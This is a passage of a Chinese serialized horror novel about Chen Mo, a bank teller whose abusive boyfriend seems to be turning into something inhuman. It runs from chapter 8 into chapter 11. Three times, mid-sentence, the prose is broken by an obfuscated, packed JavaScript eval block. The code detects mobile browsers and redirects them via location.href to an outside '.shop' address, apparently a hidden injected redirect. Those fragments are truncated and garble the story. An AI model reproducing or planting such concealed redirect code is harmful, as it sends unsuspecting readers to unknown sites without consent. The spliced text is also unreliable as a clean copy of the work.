然后她转身走进卧室，关上门。 五 晚上八点多，陈默做了饭。 简单的两菜一汤，端上桌的时候，王志强已经坐在那儿了。 他夹了一筷子菜，放进嘴里，嚼了嚼。 “还行。” 陈默坐下，开始吃饭。 两个人都不说话。 只有筷子碰碗的声音，和电视里的声音。 吃到一半，王志强的手机响了。 他看了一眼，接起来。 “喂？” 那边说了什么。 “现在？” 那边又说了什么。 他看了陈默一眼。 “行，我一会儿过去。” 挂了。 陈默低着头，继续吃饭。 王志强放下手机，看着她。 “我出去一趟。” 陈默点点头。 “嗯。” 他站起来，拿起外套，往外走。 走到门口，他回头看了她一眼。 “碗放着，等我回来洗。” 门关上了。 陈默一个人坐在饭桌前，看着那两菜一汤。 菜还冒着热气，汤还烫着。 她夹了一筷子，放进嘴里。 什么味道都没有。 她嚼着，咽下去，又夹了一筷子。 还是什么味道都没有。 她放下筷子，靠在椅背上。 客厅里只有电视的声音，和一些窗外的车声。 她坐了很久。 然后她站起来，把碗收了，洗了，放好。 走进卧室，躺下。 盯着天花板。 六 凌晨两点多，陈默醒了。 她不知道自己怎么睡着的，也不知道睡了多久。 睁开眼的时候，卧室里一片漆黑。窗帘拉得严严实实，一点光都透不进来。 她躺着，听周围的动静。 很安静。 太安静了。 平时这个时候，总能听见一点声音——楼上的脚步声，隔壁的电视声，窗外的车声。 但现在什么都没有。 像整个世界都被按了静音键。 她慢慢坐起来，看向门口。 门关着。 但她记得，她睡觉的时候，门是开了一条缝的。 现在关上了。 她下床，光着脚走到门边，握住门把手。 门把手是凉的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387620|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>很凉。 像刚从冰箱里拿出来的铁。 她深吸一口气，轻轻推开门。 客厅里亮着灯。 王志强坐在沙发上，背对着她。 他坐着，一动不动。 陈默站在门口，看着他。 那个背影，她看了三年。但现在看着，突然觉得陌生。 太安静了。 他坐着，一动不动，连呼吸都听不见。 她往前走了一步。 他没动。 又走了一步。 还是没动。 她走到沙发后面，站在那儿，看着他的后背。 他穿着那件衬衫，就是白天那件。背上很皱，光线暗，看不清有没有汗渍。 她张了张嘴。 “王志强。” 他没动。 “王志强。” 他还是没动。 陈默绕到沙发前面，看着他。 他睁着眼。 睁得很大。 盯着前方，不知道在看什么。 陈默往后退了一步。 他慢慢转过头，看着她。 那两只眼睛—— 在发光。 不是反光，是发光。像猫，像狗，像什么夜里会发光的动物。 她见过这种光。 第一次是她数完三十秒开门的那天晚上。 第二次是那天晚上他说“明天有个哥们来”的时候。 现在是第三次。 “王志强？”她的声音在发抖。 他看着她，没说话。 那两只发光的眼睛，就那么盯着她。 然后他开口了。 “陈默。” 他的声音和平时不一样。更沉，更闷，像从很深的地方传上来。 “你身上有味道了。” 陈默愣住了。 又是这句话。 “什么味道？”她问。 他没回答。 他站起来。 站起来的时候，她看见沙发垫上那个印子——那个印子，比她见过的任何时候都深。像一个完整的身体陷进去，陷进沙发里，陷了很久很久。 他往前走了一步。 陈默往后退了一步。 他又走了一步。 她又退了一步。 她退到墙边，退不动了。 他站在她面前，低头看着她。 那两只发光的眼睛，离她很近。 “你身上，”他说，“有人味了。” 陈默攥紧手指。 人味。 她说不出话。 他看着她，那两只眼睛一眨不眨。 “以前你没有。” 以前她没有。 三年了，她都没有。 现在有了。 “你知道这意味着什么吗？”他问。 陈默摇头。 他笑了。 那笑容和平时不一样——不是生气，不是嘲讽，是别的。 是一种……满意。 “意味着你熟了。” 熟了。 她突然想起那张纸条。 那张纸条不是来救她的。 是来告诉她，她已经熟了。 她站那儿，一动不动。 他低头看着她，那两只眼睛的光，把她整个人都照在里面。 “别怕，”他说，“还早。” 他转身走回沙发，坐下。 那两只眼睛的光暗下去，恢复正常。 陈默靠在墙上，大口喘气。 她低头看自己的手。 手在抖。 她攥紧拳头，想让它不抖。 但还是在抖。 七 那一夜，陈默没睡。 她靠在墙上，看着沙发上的那个背影，一直看到天亮。 天亮的时候，王志强站起来，走进卧室，躺下。 陈默站在客厅里，看着那扇关上的门。 站了很久。 然后她走进卫生间，打开花洒。 热水冲下来的时候，她站在水底下，一动不动。 她抬起手，闻了闻自己的胳膊。 什么味道都没有。 但他说有。 他说有人味了。 她不知道这是真的，还是他故意说的。 但她想起一件事—— 那张纸条上写的，是“真正的他，从不洗澡”。 没写她。 她一直都是洗澡的。 每天都洗。 但他说以前她没有味道，现在有了。 那以前她是什么味道？ 她不知道。 她只知道，从今天开始，她再也不敢闭眼了。 --- 第八章完 9. 第九章 那你别要啊 第九章剥虾 一 周一下午四点五十，陈默正在办今天最后一笔业务。 一个老头来存钱，三千块，全是零钱，一毛五毛一块的，用塑料袋装着，往窗口一倒，哗啦啦铺了一片。陈默一张一张数，手指头都数酸了。 手机在口袋里震了一下。 她没理，继续数。 又震了一下。 她把最后几张毛票数完，在凭条上敲了金额，让老头按手印。老头按完，拿着回执走了。 陈默掏出手机。 王志强的微信： “晚上一个朋友请吃饭，你下班直接过来。” 下面是一个定位，某家海鲜酒楼。 陈默盯着那行字，看了几秒。 昨晚的事还在脑子里。那两只发光的眼睛，那句“你熟了”，那个靠在墙上发抖的自己。 她回了一个字： “好。” 手机又震了一下。 “收拾收拾，别给我丢人。” 她看着这行字，手指悬在屏幕上，不知道该回什么。 最后什么都没回，把手机塞回口袋。 五点整，下班。 她在更衣室换衣服——从行服换成自己的便服。但她今天没带便服。早上出门的时候想着今天周一，下班就直接回家，没想过要来吃饭。 她穿着行服站在更衣室里，看着镜子里的自己。 深蓝色西装，白衬衫，工牌还别在胸口。头发盘着，妆已经花了，眼袋遮不住，痘印盖不住。 她站了几秒，然后拿起包，出门。 二 海鲜酒楼在城东，陈默坐地铁过去，出站的时候天已经黑了。 门口站着两个穿旗袍的迎宾小姐，看见她过来，微笑着鞠躬。 “您好，请问有预订吗？” “有，王先生订的。” 迎宾小姐查了一下，领着她往里走。 酒楼很大，装修得金碧辉煌，到处都是水晶灯和大理石。走过大堂，拐进包厢区，走廊两边全是包间，门关着，里面隐隐传出来劝酒声和笑声。 迎宾小姐在一扇门前停下。 “到了。” 她推开门。 陈默走进去。 包厢很大，中间一张大圆桌，能坐十几个人。现在坐了七八个，全是男的，岁数都不小，三四十岁，有的还更大。每人旁边都放着烟灰缸，烟灰缸里塞满了烟头，整个包厢烟雾缭绕。 王志强坐在主位上，正跟旁边的人说话。 他看见陈默进来，上下打量了一眼。 那一眼，陈默看懂了。 嫌弃。 “你穿的什么？”他说。 陈默低头看看自己。 工装。 “我下班直接过来的，没来得及换。” 王志强的眉头皱起来。 “我不是让你收拾收拾吗？” 陈默张了张嘴，不知道该说什么。 旁边有人打圆场：“哎呀，工装怎么了？工装说明嫂子敬业！来来来，嫂子坐，坐这儿。” 那人指了指王志强旁边的位置。 陈默走过去，坐下。 王志强看了她一眼，没再说什么。 但那个眼神，她记住了。 三 “嫂子喝什么？” 陈默对面坐着一个光头男人，四十来岁，满脸横肉，脖子上挂着一条金链子。他正拿着酒瓶，准备给陈默倒酒。 “她不喝。”王志强替他回答了。 光头男人愣了一下。 “不喝酒？那喝茶？” “她不喝。”王志强又说了一遍。 光头男人看看王志强，又看看陈默，笑着把酒瓶放下了。 “行，那嫂子随意。” 陈默点点头，没说话。 桌上已经上菜了，海鲜为主——螃蟹、扇贝、生蚝，中间放着一大盘白灼虾，红彤彤的冒着热气。 王志强夹了一只虾，放到自己盘子里，没吃。 他看了看陈默。 “陈默。” 陈默转头看他。 “给我剥虾。” 陈默愣了一下。 周围几个人都看过来了。 王志强看着她，脸上没什么表情。 “剥啊。” 陈默伸出手，拿起那只虾，开始剥。 虾壳有点扎手，烫烫的。她把头拧掉，把壳一片一片剥下来，最后剥出一只完整的虾肉，放到王志强盘子里。 王志强夹起来，吃了。 “再来一只。” 陈默又拿了一只，继续剥。 周围有人笑了。 “强哥，你这待遇可以啊。” “那是，我媳妇嘛。” 王志强嚼着虾，脸上带着笑。 陈默低着头，继续剥。 一只，两只，三只。 她剥一只，他吃一只。她剥完第三只的时候，盘子里还剩一堆虾壳。 王志强拿纸巾擦了擦嘴。 “倒杯茶。” 陈默站起来，拿起茶壶，给他倒了一杯。 他喝了一口。 “太烫了。” 陈默站着，不知道该说什么。 旁边有人递过来一瓶矿泉水：“兑点凉的。” 陈默接过矿泉水，往茶杯里兑了一点。 王志强又喝了一口。 “行了。” 陈默坐下。 周围又聊开了，聊工程，聊钱，聊人。她坐在那儿，听着，一句话都没说。 四 饭吃到一半，王志强的手机响了。 他看了一眼，接起来。 “喂？嗯，在吃饭。你过来？行啊，老地方，三楼302。” 挂了。 他看了看桌上的人。 “还有个朋友要来，咱们等等他。” 众人说好。 过了十几分钟，门开了。 进来一个男人，瘦高个，戴着眼镜，看起来比在座的年轻一些，三十出头的样子。 “强哥！”他笑着走过来，跟王志强握了握手。 “来了？坐坐坐。” 瘦高个坐下，扫了一眼桌上的人，最后目光落在陈默身上。 “这位是嫂子吧？” 王志强点点头。 “对，我媳妇。” 瘦高个打量了陈默一眼。 “嫂子好。” 陈默点点头。 “你好。” 瘦高个坐下，开始跟王志强聊天。 陈默在旁边听着，听出来这个人姓李，是做建材生意的，最近想接个工程，来找王志强帮忙。 “强哥，这事就靠你了。” “好说好说。” 王志强端起酒杯，跟他碰了一下。 两人喝了一杯。 又喝了一杯。 再喝一杯。 几杯下去，王志强的脸开始红了，话也多了。 “小李，我跟你说，这个工程，我跟那边打个招呼就行。我王志强在这行混这么多年，这点面子还是有的。” “那是那是，强哥谁不知道。” 王志强笑了笑，扭头看了看陈默。 “陈默，给小李倒杯酒。” 陈默站起来，拿起酒瓶，给瘦高个倒了一杯。 瘦高个连忙说：“谢谢嫂子，谢谢嫂子。” 陈默坐下。 王志强又说：“再给我倒一杯。” 陈默又站起来，给他倒了一杯。 王志强喝了一口，看着瘦高个。 “小李啊，你结婚了吗？” “结了，孩子都上小学了。” “孩子多大了？” “七岁，男孩。” 王志强点点头。 “男孩好。我这边——”他指了指陈默，“还没呢。” 瘦高个愣了一下，不知道怎么接。 王志强继续说：“不过也不急，她嘛，还得再养养。” 再养养。 陈默攥紧手指。 瘦高个尴尬地笑了笑。 王志强又喝了一口酒，看着陈默。 “陈默，你给小李剥个虾。” 陈默愣了一下。 “快点啊。” 她伸出手，拿了一只虾，开始剥。 剥完，放到瘦高个盘子里。 瘦高个连忙说：“谢谢嫂子，我自己来就行——” “没事，她剥得好。”王志强打断他。 陈默低着头，盯着自己的盘子。 盘子里空空的，只有几片菜叶。 五 酒过三巡，桌上的人都喝得差不多了。 王志强脸红得发紫，说话更大声了，脏话也更多了。 “我他妈跟你说，那个王八蛋，下次别让我碰上——” “强哥，消消气，喝酒喝酒。” 又喝了一杯。 王志强放下酒杯，看了看陈默。 那一眼，有点长。 “陈默。” 她抬起头。 “你说你是不是傻？” 陈默愣了一下。 桌上的人也都愣了一下。 王志强看着她，脸上带着笑，但那笑不对劲。 “我问你话呢，你是不是傻？” 陈默没说话。 “你看看你，”他指着她，“穿个工装就来吃饭，让你收拾收拾你不听，让你剥虾你剥得那么慢，让你倒茶你倒那么烫——你说你会干什么？” 陈默攥紧手指。 周围安静了。 只有空调嗡嗡的声音。 “我跟你说，”王志强继续说，“你知道外面人怎么说你吗？说我找了个银行的，结果就是个柜员。柜员也就算了，还不会打扮，不会来事，带出来丢人。” 陈默低着头，盯着盘子。 “你说你，”他摇了摇头，“二十八了，长得也就那样，工作也就那样，家里还那样——你妈都不要你了，我要你，你就该感恩戴德，知道吗？” 陈默的手指攥得更紧了。 指甲掐进肉里，疼。 “我外面多少人想跟我，我都看不上。你呢？你倒好，让你干点活你就摆个脸，让你出来吃个饭你就穿个工装——你以为你是谁？” 没人说话。 整个包厢安静得像坟墓。 王志强又喝了一口酒。 “我跟你说，陈默，你也就是遇见我。换个别人，早把你甩了。你还不自知，天天在那儿不知道想什么——” 陈默抬起头。 她看着他。 那两只眼睛，在灯光下，没有发光。就是普通的人的眼睛。 但那张嘴，还在动。 “你说你会干什么？你会什么？饭不会做，活不会干，脸越来越老，身材越来越胖——我要你干什么？” 陈默听见自己的声音。 “那你别要啊。” 六 声音不大。 但整个包厢一下子安静了。 那种安静，和刚才不一样。 刚才的安静是没人敢说话，现在的安静是——所有人都不敢呼吸。 王志强的嘴还张着，但没声音了。 他看着陈默。 那两只眼睛，慢慢变了。 不是发光——是别的。 是那种她见过的眼神。 第一次是三十秒开门那天晚上。 第二次是他说“明天有个哥们来”的时候。 第三次是昨晚，他说“你熟了”的时候。 现在是第四次。 “你说什么？”他问。 声音很轻。 但陈默听得清清楚楚。 她张了张嘴。 想说什么，但说不出来。 脑子里突然炸开一个声音—— 第二条规则：他喝醉后说的话，无论多难听，不要反驳，不要流泪，点头就好。 不要反驳。 不要反驳。 不要反驳。 她反驳了。 当着这么多人的面，她反驳了。 她看着王志强的那两只眼睛。 那两只眼睛，正盯着她。 像猫盯着老鼠。 像什么夜里会发光的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387621|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动物，盯着它的猎物。 她想起昨晚那句话。 “你熟了。” 熟了。 什么时候熟的？ 就是现在吗？ 七 “陈默。” 王志强的声音，很轻。 她看着他。 “你刚才说什么？” 她没说话。 桌上其他人，没有一个敢动，没有一个敢出声。 王志强站起来。 他走到她面前，低头看着她。 那两只眼睛，离她很近。 她能看见里面的光。 不是反光，是发光。 “我问你，”他说，“你刚才说什么？” 陈默张了张嘴。 “我……” “你什么？” 她看着那两只眼睛。 那两只眼睛里的光，越来越亮。 她突然想起那条规则的第一条。 数到三十，再开门。 她不知道数到三十有没有用。 但她开始数。 一、二、三—— “陈默。”他打断她。 她停下来。 他看着她的眼睛。 看了很久。 然后他笑了。 那笑容很短，就一下。 “行，”他说，“你有种。” 他转身走回座位，坐下，端起酒杯，一口干了。 “来来来，喝酒喝酒。” 桌上的人如释重负，又开始动起来，开始说话，开始劝酒。 陈默坐在那儿，一动不动。 她看着自己的手。 手在抖。 她把那只手放到桌子下面，攥紧。 一直抖。 八 饭局结束的时候，已经快十点了。 一群人站在酒楼门口告别，握手，拍肩膀，说下次再聚。 王志强站在那儿，和瘦高个说话，脸上带着笑。 陈默站在旁边，看着他们。 瘦高个看了她一眼，那眼神有点复杂。想说什么，又没说。 最后他只是点了点头。 “嫂子再见。” 陈默点点头。 人都散了。 王志强走过来，看着她。 那两只眼睛，现在正常了。 “走吧，回家。” 他往停车场走。 陈默跟在后面。 走到车边，他拉开后座车门，坐进去。 陈默也坐进去。 车里很暗，只有仪表盘上的灯亮着。 代驾还没来，王志强坐着，看着前方。 陈默也没动。 过了一会儿，他开口了。 “陈默。” 她没说话。 “你今天，让我没面子。” 她听着。 “当着那么多人，你让我下不来台。” 她没说话。 他转过头看她。 “你知道我为什么带你来吗？” 她看着他。 “我是给他们看的。”他说，“让他们看看，我有媳妇，我媳妇银行的，我过得挺好。” 他停了一下。 “但你今天，让他们看了笑话。” 陈默张了张嘴。 “我——” “别说话。”他打断她，“听我说。” 她闭上嘴。 “我不管你在想什么，”他说，“但从今天起，你记住——我带你去哪儿，你就去哪儿。我让你干什么，你就干什么。我问你什么，你就答什么。别给我整那些有的没的。” 他盯着她。 “听见没有？” 陈默看着他。 那两只眼睛，在黑暗里，又亮了一下。 她点点头。 “听见了。” 他看了她几秒，然后转回去，手机响了，代驾到了。 车开动了。 陈默坐在王志强旁边，看着窗外。 窗外的路灯一盏一盏往后闪。 她看着那些光，脑子里反复响起一个声音。 第二条规则。 不要反驳。 她反驳了。 她不知道会发生什么。 但她知道，从今晚开始，有什么东西不一样了。 九 到家的时候，快十一点了。 陈默换了鞋，走进卧室，躺下。 王志强在客厅里打电话，声音很大，又是在说工程的事。 她躺在床上，盯着天花板。 天花板还是那样，灰白色，有一点光从窗帘缝里漏进来。 她盯着那点亮。 盯了很久。 然后她听见脚步声。 王志强走进来，躺到她旁边。 床垫陷下去一块，她的身体跟着歪了一下。 他没说话。 她也没说话。 两个人就那么躺着。 过了一会儿，他翻了个身，背对着她。 “睡吧。” 陈默闭上眼。 但她没睡。 她睁着眼，在黑暗里，看着他的后背。 那件衬衫还是白天那件。光线暗，看不清有没有汗渍。 但那股味道，她闻见了。 油油的，腻腻的，带点甜，又带点酸。 像肉放坏了的那种甜酸。 比以前更浓了。 她盯着那个后背。 盯了很久。 然后她突然想起一件事—— 他说她身上有人味了。 但她现在闻见的，是他的味道。 那种味道，不是人味。 是什么味道？ 她不知道。 但她知道一件事—— 今晚，她没有数到三十。 她没有机会数。 但她反驳了。 她违反了规则。 她不知道会发生什么。 但她知道，从今晚开始，她再也不能假装什么都没发生了。 --- 第九章完 10. 第十章 他不一样了 第十章他不一样了 一 陈默一夜没睡。 她躺在黑暗里，睁着眼，听着旁边王志强的呼吸。 那呼吸声很均匀，一起一伏，听起来和平时没什么两样。但她就是睡不着。脑子里反复回放今晚的事——那句“那你别要啊”，说出来的时候有多痛快，现在就有多后悔。 不是后悔说了那句话。 是后悔说了之后，王志强那个眼神。 那个眼神，她忘不掉。 不是愤怒，不是凶狠，是别的。 是一种……满意？ 就像昨晚他说“你熟了”的时候那种满意。 就像猎人看见猎物终于掉进陷阱的那种满意。 她翻了个身，背对着他。 床垫微微颤动，他的呼吸顿了一下，然后继续。 他醒着？ 还是没醒？ 她不知道。 她只知道，从今晚开始，有什么东西不一样了。 二 早上六点半，陈默起床。 她轻手轻脚下床，怕吵醒他。走到门口的时候，回头看了一眼。 王志强还躺着，背对着她，一动不动。 她站了两秒，然后推门出去。 洗漱，换衣服，化妆。镜子里的自己，眼袋比昨天更深了，下巴上的痘又多了两颗。她用遮瑕盖了又盖，还是盖不住。 算了。 她拿起包，准备出门。 走到客厅的时候，她愣了一下。 王志强坐在沙发上。 他什么时候起来的？她根本没听见动静。 他穿着那件睡衣——就是那件穿了不知道多久的睡衣，坐在沙发上，看着电视。电视没开声音，就那样放着早间新闻，画面一闪一闪的。 陈默站在那儿，看着他。 他慢慢转过头，看着她。 那两只眼睛，很正常。没有发光，没有异常。就是普通的人的眼睛。 “走了？”他问。 陈默点点头。 “嗯。” 他没说话，又转回去继续看电视。 陈默站了两秒，然后开门出去。 门关上的那一刻，她靠在门上，深吸了一口气。 他说“走了”的时候，声音和平时一样。 但那个眼神，不对。 不是看她。 是……穿透她。 像看一个透明的东西。 三 地铁上人很多，陈默被挤在车门旁边，一只手拉着扶手，一只手护着包。 她盯着窗外隧道里的灯，脑子里乱糟糟的。 王志强今天早上那个眼神，她忘不掉。 还有他坐在沙发上的姿势——和平时一样，又和平时不一样。说不上来哪儿不一样，就是不对。 就像一个人，穿上了另一个人的衣服。 还是那个样子，但不是那个人了。 她想起昨晚的事。 她反驳了。 她说了“那你别要啊”。 然后他笑了。 那个笑容，她越想越不对。 不是生气，不是愤怒，是满意。 就像……就像他在等她这句话。 就像他一直在等她说出点什么，好让他有个理由，做点什么。 做什么？ 她不知道。 但她害怕了。 四 上午十点，陈默正在办业务，手机震了一下。 她抽空看了一眼。 王志强发来的微信： “晚上早点回来。” 她盯着这行字，看了三秒。 早点回来。 三年了，他从来没说过这句话。从来都是“晚上不回去了”“晚点回”“别等我了”。 今天他说“早点回来”。 她回了一个字： “好。” 把手机放下，继续办业务。 但心里那团东西，越来越大。 五 下午五点四十，陈默下班。 她没在外面逗留，直接回家。 开门的时候，她站在门口，深吸了一口气。 然后推开门。 客厅里亮着灯。 王志强坐在沙发上，看电视。和早上一样，电视没开声音，画面一闪一闪的。 他转过头看她。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走进客厅。 走到沙发旁边的时候，她停住了。 茶几上放着两个碗，两双筷子。碗里是饭，菜已经盛好了——红烧肉，炒青菜，还有一个汤。 他做的饭？ 三年了，他从来没做过饭。 陈默站在那儿，看着那两个碗。 “愣着干嘛？”王志强的声音从身后传来，“吃饭。” 她慢慢坐下来，拿起筷子。 夹了一筷子青菜，放进嘴里。 味道……正常。 就是普通的炒青菜，油盐放得正好。 她嚼着，咽下去。 王志强也拿起筷子，开始吃。 两个人面对面坐着，吃饭，不说话。 只有筷子碰碗的声音。 陈默吃了几口，忍不住看他。 他低着头吃饭，动作和平时一样。夹菜，扒饭，嚼，咽下去。很正常。 但就是不对。 哪儿不对？ 她看了半天，突然发现了—— 他在嚼东西的时候，嘴巴不动。 就是嘴唇不动，只有里面的牙齿在动。从外面看，他的脸完全是静止的，但他在吃东西。 陈默攥紧筷子。 她把目光收回来，盯着自己的碗。 继续吃。 但每一口，都不知道是什么味道。 六 吃完饭，陈默站起来收碗。 “放着吧。”王志强的声音。 她愣了一下。 “我来洗。” 他站起来，从她手里接过碗，端进厨房。 陈默站在客厅里，听着厨房里传来的水声。 水哗哗响着，碗碰在一起，叮叮当当的。 他洗碗。 三年了，他从来没洗过碗。 她走到厨房门口，看着他。 他站在水槽前，背对着她，正在冲碗。动作很熟练，像洗了很多年一样。 但他从来不洗碗。 她看着他的后背。 那件衣服还是白天那件——不，好像不是。换了一件？她记不清了。 但那股味道，她闻见了。 油油的，腻腻的，带点甜，又带点酸。 比昨天更浓了。 他洗着碗，哼着歌。 那首歌她没听过，调子怪怪的，不像流行歌，也不像老歌。 她站在门口，听了一会儿。 然后她转身走回客厅，坐下。 电视还开着，没声音。她拿起遥控器，把声音打开。 新闻频道，主持人正在播报什么股市行情。 她盯着屏幕，什么都没听进去。 七 晚上九点多，陈默躺在床上，看手机。 王志强在客厅里，不知道在干什么。偶尔有脚步声，偶尔有东西放下的声音，偶尔有电视换台的声音。 她盯着手机屏幕，其实什么都没看进去。 脑子里一直在想今天的事。 他做饭了。 他洗碗了。 他让她早点回来。 他看她的眼神不对。 他嚼东西的时候嘴巴不动。 他身上那个味道，越来越浓了。 他不一样了。 哪儿不一样，她说不上来。 但就是不一样。 就像一个人，被换掉了。 还是那个样子，还是那个声音，还是那个名字——但里面，不是那个人了。 她想起那张纸条。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387622|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>第二条规则：不要反驳。 她反驳了。 然后他就变了。 是不是因为那个？ 是不是她说了那句话，他就……就可以变了？ 她不知道。 她只知道，她害怕了。 八 脚步声靠近。 陈默把手机放下，闭上眼睛，假装睡着。 门开了。 王志强走进来。 她能感觉到他站在床边，看着她。 站了很久。 她忍着没有睁眼。 然后他躺下来，躺到她旁边。 床垫陷下去，她的身体跟着歪了一下。 他没说话。 她也没说话。 过了一会儿，她感觉到他在翻身，翻过来，面对着她。 他的呼吸，离她很近。 她能感觉到那股味道，从他身上散发出来，越来越浓，越来越近。 她攥紧被角。 然后她感觉到——他的手，放在了她的脸上。 凉的。 很凉。 像刚从冰箱里拿出来的东西。 那只手，在她脸上慢慢移动，从额头到眼睛，从眼睛到鼻子，从鼻子到嘴巴。 像在摸一件东西。 像在确认一件东西。 陈默全身都僵了。 她不敢动，不敢睁眼，不敢呼吸。 那只手，在她脸上摸了一遍，然后收回去。 他翻身，背对着她。 呼吸声很快响起，一起一伏，睡着了。 陈默睁开眼。 黑暗里，她盯着他的后背。 那股味道还在，浓浓的，黏黏的，像一层油，把她整个人裹在里面。 她慢慢坐起来，下床，光着脚走到门口。 回头看了一眼。 他还躺着，一动不动。 她推开门，走出去。 九 客厅里亮着一盏小灯，是玄关那盏，平时晚上都不开的。 陈默走到沙发前，坐下。 沙发垫上那个印子，还在。 比前几天更深了。 她伸手摸了摸。 湿的。 不是水的那种湿，是别的。像有什么东西，从里面往外渗。 她把手指收回来，凑到鼻子前闻了闻。 那股味道。 就是从这儿来的。 她站起来，退后一步。 站在客厅中央，看着那张沙发。 那张沙发，他每天都躺。 每天都躺很久。 躺出一个印子，越来越深，越来越湿，越来越臭。 她想起他说的那句话。 “你熟了。” 熟了是什么意思？ 是不是就像这样——从里面往外烂，直到整个人都变成那个味道？ 她不知道。 但她知道，她不能再躺在他旁边了。 十 那一夜，陈默在沙发上坐了一夜。 天亮的时候，她站起来，走进卧室。 王志强还躺着，姿势和昨晚一样，一动不动。 她站在门口，看着他的后背。 然后她转身，去洗漱，换衣服，拿起包，出门。 门关上的那一刻，她听见身后传来一个声音。 “晚上早点回来。” 她停住了。 那是他的声音。 但她没回头。 她站在门口，站了三秒。 然后她往前走，走进电梯，下楼，上班。 整个路上，她脑子里只有那句话。 “晚上早点回来。” 他说这句话的时候，语气和昨天一样。 但那个声音—— 那个声音，不像是从嘴里发出来的。 像是从很深很深的地方传上来的。 像从一个已经烂掉的东西里，传上来的。 --- 第十章完 11. 第十一章 你是我养的 第十一章你是我养的 一 陈默到银行的时候，是早上七点五十。 她不知道自己怎么来的。坐地铁，换乘，出站，走——这些动作都做了，但脑子里一片空白。只记得那句话。 “晚上早点回来。” 她刷卡进门，走进更衣室，换上工装，对着镜子看了一眼。 镜子里的那个人，她不认识了。 眼袋黑得像被人打了两拳，脸色蜡黄，嘴唇干裂。下巴上的痘更多了，红红的一片，遮瑕盖都盖不住。最可怕的是眼睛——那两只眼睛，空洞洞的，像两口枯井。 她盯着那个人看了三秒。 那个人也盯着她。 她突然想起一个问题：镜子里那个人，真的是她吗？ 如果是她，为什么她觉得那么陌生？ 如果不是她，那她是谁？ 她不知道。 她移开目光，走出更衣室。 坐到工位上，打开电脑，输入工号。 屏幕亮起来的那一刻，她突然想起一件事。 那张纸条。 她从口袋里掏出来，展开。 纸条已经皱了，边上的毛刺都卷起来了，有几处被汗浸湿过，字迹有点模糊。但每一个字，她都记得清清楚楚。 《与“他”同居共存守则》 1. 他深夜回家敲门时，不要马上开门。数到三十，再开。 2. 他喝醉后说的话，无论多难听，不要反驳，不要流泪，点头就好。 3. 如果他在酒桌上吹牛说“我女朋友是银行的，有的是钱”，三天内必须提分手。 4. 真正的他，从不洗澡。 5. 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。能跑多远跑多远。 她盯着第二条。 不要反驳。 她反驳了。 然后他变了。 是不是因为这个？ 还是说，她早就该变了，只是现在才变？ 她把纸条折起来，塞回口袋。 开始办业务。 二 上午十点半，陈默正在给一个客户办挂失，手机震了。 她没理。 又震了一下。 还是没理。 办完挂失，客户走了，她掏出手机。 王志强的微信： “中午回来一趟。” 她盯着这行字。 中午。 回去一趟。 回哪？ 那个家。 那个有他在的家。 那个沙发上有个印子、空气里有股味道、他每天晚上躺在她旁边的家。 她回了一个字： “好。” 然后把手机扣在桌上，盯着屏幕发呆。 屏幕慢慢暗下去，变成黑色。黑色的屏幕上，她看见自己的脸——模模糊糊的，像隔着一层水。 那张脸，在看着她。 她眨了一下眼。 那张脸也眨了一下眼。 她又眨了一下。 那张脸没动。 就那么看着她。 陈默猛地往后一靠。 是反光。只是反光。 她深吸一口气，把手机翻过来，屏幕朝下。 老周从门口走了过来。 “陈默，你今天脸色不太好。” 她抬起头。 老周站在她窗口前面，低头看着她。五十多岁的脸，满是皱纹，眼睛里带着担心。 “没事吧？”他问。 陈默摇摇头。 “没事，没睡好。” 老周点点头。 “那你注意休息。年轻人，别太拼。” 他走回门边，继续站着。 陈默看着他的背影。 老周在这干了六年，每天就是开门关门，帮老人按叫号机，提醒客户“钱包收好”。他是那种最普通的人，普通到你在街上走过都不会多看一眼。 但此刻，陈默看着他，突然觉得羡慕。 羡慕他什么都不知道。 羡慕他每天回家，老婆孩子热炕头。 羡慕他不用数三十秒，不用闻那个味道，不用害怕晚上闭上眼。 她把目光收回来，盯着电脑屏幕。 屏幕上是业务列表，长长一串交易代码。 她盯着那些字，一个都看不进去。 三 中午十二点，陈默请了假，回家。 站在家门口的时候，她深吸了一口气。 然后掏出钥匙，开门。 门开了。 客厅里没人。 但茶几上放着饭——两碗米饭，两双筷子，四个菜。红烧肉，炒青菜，西红柿炒蛋，还有一个汤。 还冒着热气。 陈默站在门口，看着那桌菜。 她记得很清楚，家里没买菜。昨天冰箱里只有两个鸡蛋，半棵白菜，还有一盒过期的牛奶。 这些菜从哪来的？ “回来了？” 声音从身后传来。 她猛地转身。 王志强站在她身后，离她很近。 近到她能闻见他身上的味道。 